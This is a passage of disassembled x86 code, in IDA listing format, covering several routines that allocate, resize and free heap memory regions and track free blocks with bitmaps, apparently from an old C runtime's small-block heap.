jnz short loc_41E948
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E948: ; CODE XREF: sub_41E742+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41E95B: ; CODE XREF: sub_41E742+192j
; sub_41E742+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41EA66
mov eax, dword_4DD394
test eax, eax
jz loc_41EA58
mov ecx, dword_4DD38C
mov esi, dword_427068
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi ; VirtualFree
mov ecx, dword_4DD38C
mov eax, dword_4DD394
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_4DD394
mov ecx, dword_4DD38C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_4DD394
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_4DD394
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E9E9
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_4DD394
loc_41E9E9: ; CODE XREF: sub_41E742+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41EA58
push ebx
push 0
push dword ptr [eax+0Ch]
call esi ; VirtualFree
mov eax, dword_4DD394
push dword ptr [eax+10h]
push 0
push dword_4DD3A4
call dword_42714C ; RtlFreeHeap
mov eax, dword_4DD398
mov edx, dword_4DD39C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_4DD394
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41D670
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4DD398
cmp eax, dword_4DD394
jbe short loc_41EA4E
sub [ebp+arg_0], 14h
loc_41EA4E: ; CODE XREF: sub_41E742+306j
mov eax, dword_4DD39C
mov dword_4DD390, eax
loc_41EA58: ; CODE XREF: sub_41E742+234j
; sub_41E742+2ABj
mov eax, [ebp+arg_0]
mov dword_4DD38C, edi
mov dword_4DD394, eax
loc_41EA66: ; CODE XREF: sub_41E742+38j
; sub_41E742+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41E742 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EA6B proc near ; CODE XREF: sub_41BBE2+77p
; sub_41BEF3+18p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4DD398
mov edx, dword_4DD39C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41EAAB
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41EABB
; ---------------------------------------------------------------------------
loc_41EAAB: ; CODE XREF: sub_41EA6B+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41EABB: ; CODE XREF: sub_41EA6B+3Ej
mov eax, dword_4DD390
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41EAE2
loc_41EAC9: ; CODE XREF: sub_41EA6B+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EAE2
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41EAC9
loc_41EAE2: ; CODE XREF: sub_41EA6B+5Cj
; sub_41EA6B+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41EB60
mov ebx, edx
loc_41EAE9: ; CODE XREF: sub_41EA6B+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41EB05
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EB03
add ebx, 14h
jmp short loc_41EAE9
; ---------------------------------------------------------------------------
loc_41EB03: ; CODE XREF: sub_41EA6B+91j
cmp ebx, eax
loc_41EB05: ; CODE XREF: sub_41EA6B+83j
jnz short loc_41EB60
loc_41EB07: ; CODE XREF: sub_41EA6B+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41EB1D
cmp dword ptr [ebx+8], 0
jnz short loc_41EB1A
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41EB07
; ---------------------------------------------------------------------------
loc_41EB1A: ; CODE XREF: sub_41EA6B+A5j
cmp ebx, [ebp+var_4]
loc_41EB1D: ; CODE XREF: sub_41EA6B+9Fj
jnz short loc_41EB45
mov ebx, edx
loc_41EB21: ; CODE XREF: sub_41EA6B+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41EB35
cmp dword ptr [ebx+8], 0
jnz short loc_41EB33
add ebx, 14h
jmp short loc_41EB21
; ---------------------------------------------------------------------------
loc_41EB33: ; CODE XREF: sub_41EA6B+C1j
cmp ebx, eax
loc_41EB35: ; CODE XREF: sub_41EA6B+BBj
jnz short loc_41EB45
call sub_41ED74
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41EB59
loc_41EB45: ; CODE XREF: sub_41EA6B:loc_41EB1Dj
; sub_41EA6B:loc_41EB35j
push ebx
call sub_41EE25
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41EB60
loc_41EB59: ; CODE XREF: sub_41EA6B+D8j
xor eax, eax
jmp loc_41ED6F
; ---------------------------------------------------------------------------
loc_41EB60: ; CODE XREF: sub_41EA6B+7Aj
; sub_41EA6B:loc_41EB05j ...
mov dword_4DD390, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41EB87
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EBBE
loc_41EB87: ; CODE XREF: sub_41EA6B+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41EBBB
loc_41EBA4: ; CODE XREF: sub_41EA6B+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41EBA4
loc_41EBBB: ; CODE XREF: sub_41EA6B+137j
mov edx, [ebp+var_4]
loc_41EBBE: ; CODE XREF: sub_41EA6B+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41EBE7
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41EBE7: ; CODE XREF: sub_41EA6B+16Dj
; sub_41EA6B+183j
test ecx, ecx
jl short loc_41EBF0
shl ecx, 1
inc edi
jmp short loc_41EBE7
; ---------------------------------------------------------------------------
loc_41EBF0: ; CODE XREF: sub_41EA6B+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41EC0D
push 3Fh
pop esi
loc_41EC0D: ; CODE XREF: sub_41EA6B+19Dj
cmp esi, edi
jz loc_41ED22
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41EC7E
cmp edi, 20h
jge short loc_41EC4D
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41EC7B
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41EC7E
; ---------------------------------------------------------------------------
loc_41EC4D: ; CODE XREF: sub_41EA6B+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41EC7B
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41EC7E
; ---------------------------------------------------------------------------
loc_41EC7B: ; CODE XREF: sub_41EA6B+1D6j
; sub_41EA6B+203j
mov ebx, [ebp+arg_0]
loc_41EC7E: ; CODE XREF: sub_41EA6B+1B0j
; sub_41EA6B+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41ED2E
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41ED1F
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41ECF0
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41ECDE
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41ECDE: ; CODE XREF: sub_41EA6B+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41ED1F
; ---------------------------------------------------------------------------
loc_41ECF0: ; CODE XREF: sub_41EA6B+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41ED09
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41ED09: ; CODE XREF: sub_41EA6B+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41ED1F: ; CODE XREF: sub_41EA6B+24Ej
; sub_41EA6B+283j
mov ecx, [ebp+var_8]
loc_41ED22: ; CODE XREF: sub_41EA6B+1A4j
test ecx, ecx
jz short loc_41ED31
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41ED31
; ---------------------------------------------------------------------------
loc_41ED2E: ; CODE XREF: sub_41EA6B+229j
mov ecx, [ebp+var_8]
loc_41ED31: ; CODE XREF: sub_41EA6B+2B9j
; sub_41EA6B+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41ED67
cmp ebx, dword_4DD394
jnz short loc_41ED67
mov ecx, [ebp+var_4]
cmp ecx, dword_4DD38C
jnz short loc_41ED67
and dword_4DD394, 0
loc_41ED67: ; CODE XREF: sub_41EA6B+2E0j
; sub_41EA6B+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41ED6F: ; CODE XREF: sub_41EA6B+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41EA6B endp
; =============== S U B R O U T I N E =======================================
sub_41ED74 proc near ; CODE XREF: sub_41EA6B+CCp
mov eax, dword_4DD398
mov ecx, dword_4DD388
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41EDB7
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_4DD39C
push edi
push dword_4DD3A4
call dword_4271A0 ; RtlReAllocateHeap
cmp eax, edi
jz short loc_41EE07
add dword_4DD388, 10h
mov dword_4DD39C, eax
mov eax, dword_4DD398
loc_41EDB7: ; CODE XREF: sub_41ED74+11j
mov ecx, dword_4DD39C
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_4DD3A4
lea esi, [ecx+eax*4]
call dword_427150 ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_41EE07
push 4
push 2000h
push 100000h
push edi
call dword_427064 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41EE0B
push dword ptr [esi+10h]
push edi
push dword_4DD3A4
call dword_42714C ; RtlFreeHeap
loc_41EE07: ; CODE XREF: sub_41ED74+30j
; sub_41ED74+67j
xor eax, eax
jmp short loc_41EE22
; ---------------------------------------------------------------------------
loc_41EE0B: ; CODE XREF: sub_41ED74+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_4DD398
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41EE22: ; CODE XREF: sub_41ED74+95j
pop edi
pop esi
retn
sub_41ED74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE25 proc near ; CODE XREF: sub_41EA6B+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41EE37: ; CODE XREF: sub_41EE25+19j
test eax, eax
jl short loc_41EE40
shl eax, 1
inc ebx
jmp short loc_41EE37
; ---------------------------------------------------------------------------
loc_41EE40: ; CODE XREF: sub_41EE25+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41EE55: ; CODE XREF: sub_41EE25+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41EE55
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call dword_427064 ; VirtualAlloc
test eax, eax
jnz short loc_41EE88
or eax, 0FFFFFFFFh
jmp loc_41EF1B
; ---------------------------------------------------------------------------
loc_41EE88: ; CODE XREF: sub_41EE25+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41EECE
lea eax, [edi+10h]
loc_41EE95: ; CODE XREF: sub_41EE25+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41EE95
loc_41EECE: ; CODE XREF: sub_41EE25+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41EF0B
or [eax+4], edi
loc_41EF0B: ; CODE XREF: sub_41EE25+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41EF1B: ; CODE XREF: sub_41EE25+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41EE25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EF20 proc near ; CODE XREF: sub_41BBE2+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41F0CE
test bl, 1
jnz loc_41F0C7
add ebx, ecx
cmp esi, ebx
jg loc_41F0C7
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41EF97
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41EF97: ; CODE XREF: sub_41EF20+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41EFE7
cmp ecx, 20h
jnb short loc_41EFC3
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41EFE7
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41EFE7
; ---------------------------------------------------------------------------
loc_41EFC3: ; CODE XREF: sub_41EF20+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41EFE7
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41EFE7: ; CODE XREF: sub_41EF20+7Dj
; sub_41EF20+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41F0B5
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41F021
push 3Fh
pop edi
loc_41F021: ; CODE XREF: sub_41EF20+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41F0A3
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41F07A
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41F06D
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41F06D: ; CODE XREF: sub_41EF20+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41F09F
; ---------------------------------------------------------------------------
loc_41F07A: ; CODE XREF: sub_41EF20+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41F090
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41F090: ; CODE XREF: sub_41EF20+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41F09F: ; CODE XREF: sub_41EF20+158j
shr edx, cl
or [eax], edx
loc_41F0A3: ; CODE XREF: sub_41EF20+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41F0B8
; ---------------------------------------------------------------------------
loc_41F0B5: ; CODE XREF: sub_41EF20+E5j
mov edx, [ebp+arg_4]
loc_41F0B8: ; CODE XREF: sub_41EF20+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41F20E
; ---------------------------------------------------------------------------
loc_41F0C7: ; CODE XREF: sub_41EF20+52j
; sub_41EF20+5Cj
xor eax, eax
jmp loc_41F211
; ---------------------------------------------------------------------------
loc_41F0CE: ; CODE XREF: sub_41EF20+49j
jge loc_41F20E
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41F0F9
push 3Fh
pop esi
loc_41F0F9: ; CODE XREF: sub_41EF20+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41F188
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41F112
push 3Fh
pop esi
loc_41F112: ; CODE XREF: sub_41EF20+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41F161
cmp esi, 20h
jnb short loc_41F13D
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41F15E
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41F15E
; ---------------------------------------------------------------------------
loc_41F13D: ; CODE XREF: sub_41EF20+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41F15E
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41F15E: ; CODE XREF: sub_41EF20+214j
; sub_41EF20+21Bj ...
mov ebx, [ebp+arg_4]
loc_41F161: ; CODE XREF: sub_41EF20+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41F188
push 3Fh
pop esi
loc_41F188: ; CODE XREF: sub_41EF20+1DDj
; sub_41EF20+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41F205
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41F1DC
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41F1CF
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41F1CF: ; CODE XREF: sub_41EF20+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41F201
; ---------------------------------------------------------------------------
loc_41F1DC: ; CODE XREF: sub_41EF20+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41F1F2
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41F1F2: ; CODE XREF: sub_41EF20+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41F201: ; CODE XREF: sub_41EF20+2BAj
shr edx, cl
or [eax], edx
loc_41F205: ; CODE XREF: sub_41EF20+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41F20E: ; CODE XREF: sub_41EF20+1A2j
; sub_41EF20:loc_41F0CEj
push 1
pop eax
loc_41F211: ; CODE XREF: sub_41EF20+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41EF20 endp
; =============== S U B R O U T I N E =======================================
sub_41F216 proc near ; CODE XREF: sub_41E672+41p
; sub_41F50E:loc_41F6DDp
cmp dword_43AE70, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41F22A
mov esi, offset off_43AE60
jmp short loc_41F247
; ---------------------------------------------------------------------------
loc_41F22A: ; CODE XREF: sub_41F216+Bj
push 2020h
push 0
push dword_4DD3A4
call dword_427150 ; RtlAllocateHeap
mov esi, eax
test esi, esi
jz loc_41F353
loc_41F247: ; CODE XREF: sub_41F216+12j
mov ebp, dword_427064
push 4
push 2000h
push 400000h
push 0
call ebp ; VirtualAlloc
mov edi, eax
test edi, edi
jz loc_41F33C
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp ; VirtualAlloc
test eax, eax
jz loc_41F32E
mov eax, offset off_43AE60
cmp esi, eax
jnz short loc_41F2A6
cmp off_43AE60, 0
jnz short loc_41F296
mov off_43AE60, eax
loc_41F296: ; CODE XREF: sub_41F216+79j
cmp off_43AE64, 0
jnz short loc_41F2BB
mov off_43AE64, eax
jmp short loc_41F2BB
; ---------------------------------------------------------------------------
loc_41F2A6: ; CODE XREF: sub_41F216+70j
mov [esi], eax
mov eax, off_43AE64
mov [esi+4], eax
mov off_43AE64, esi
mov eax, [esi+4]
mov [eax], esi
loc_41F2BB: ; CODE XREF: sub_41F216+87j
; sub_41F216+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41F2DD: ; CODE XREF: sub_41F216+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41F2DD
push ebx
push 0
push edi
call sub_41BF70
add esp, 0Ch
loc_41F306: ; CODE XREF: sub_41F216+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41F32A
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41F306
; ---------------------------------------------------------------------------
loc_41F32A: ; CODE XREF: sub_41F216+F7j
mov eax, esi
jmp short loc_41F355
; ---------------------------------------------------------------------------
loc_41F32E: ; CODE XREF: sub_41F216+63j
push 8000h
push 0
push edi
call dword_427068 ; VirtualFree
loc_41F33C: ; CODE XREF: sub_41F216+4Bj
cmp esi, offset off_43AE60
jz short loc_41F353
push esi
push 0
push dword_4DD3A4
call dword_42714C ; RtlFreeHeap
loc_41F353: ; CODE XREF: sub_41F216+2Bj
; sub_41F216+12Cj
xor eax, eax
loc_41F355: ; CODE XREF: sub_41F216+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41F216 endp
; =============== S U B R O U T I N E =======================================
sub_41F35A proc near ; CODE XREF: sub_41F3B0+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call dword_427068 ; VirtualFree
cmp off_43CE80, esi
jnz short loc_41F37F
mov eax, [esi+4]
mov off_43CE80, eax
loc_41F37F: ; CODE XREF: sub_41F35A+1Bj
cmp esi, offset off_43AE60
jz short loc_41F3A7
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_4DD3A4
call dword_42714C ; RtlFreeHeap
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F3A7: ; CODE XREF: sub_41F35A+2Bj
or dword_43AE70, 0FFFFFFFFh
pop esi
retn
sub_41F35A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F3B0 proc near ; CODE XREF: sub_41F4C9+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_43AE64
push edi
loc_41F3BD: ; CODE XREF: sub_41F3B0+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41F45B
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41F3D6: ; CODE XREF: sub_41F3B0+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41F417
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call dword_427068 ; VirtualFree
test eax, eax
jz short loc_41F417
or dword ptr [edi], 0FFFFFFFFh
dec dword_4DBE50
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41F40C
cmp eax, edi
jbe short loc_41F40F
loc_41F40C: ; CODE XREF: sub_41F3B0+56j
mov [esi+0Ch], edi
loc_41F40F: ; CODE XREF: sub_41F3B0+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
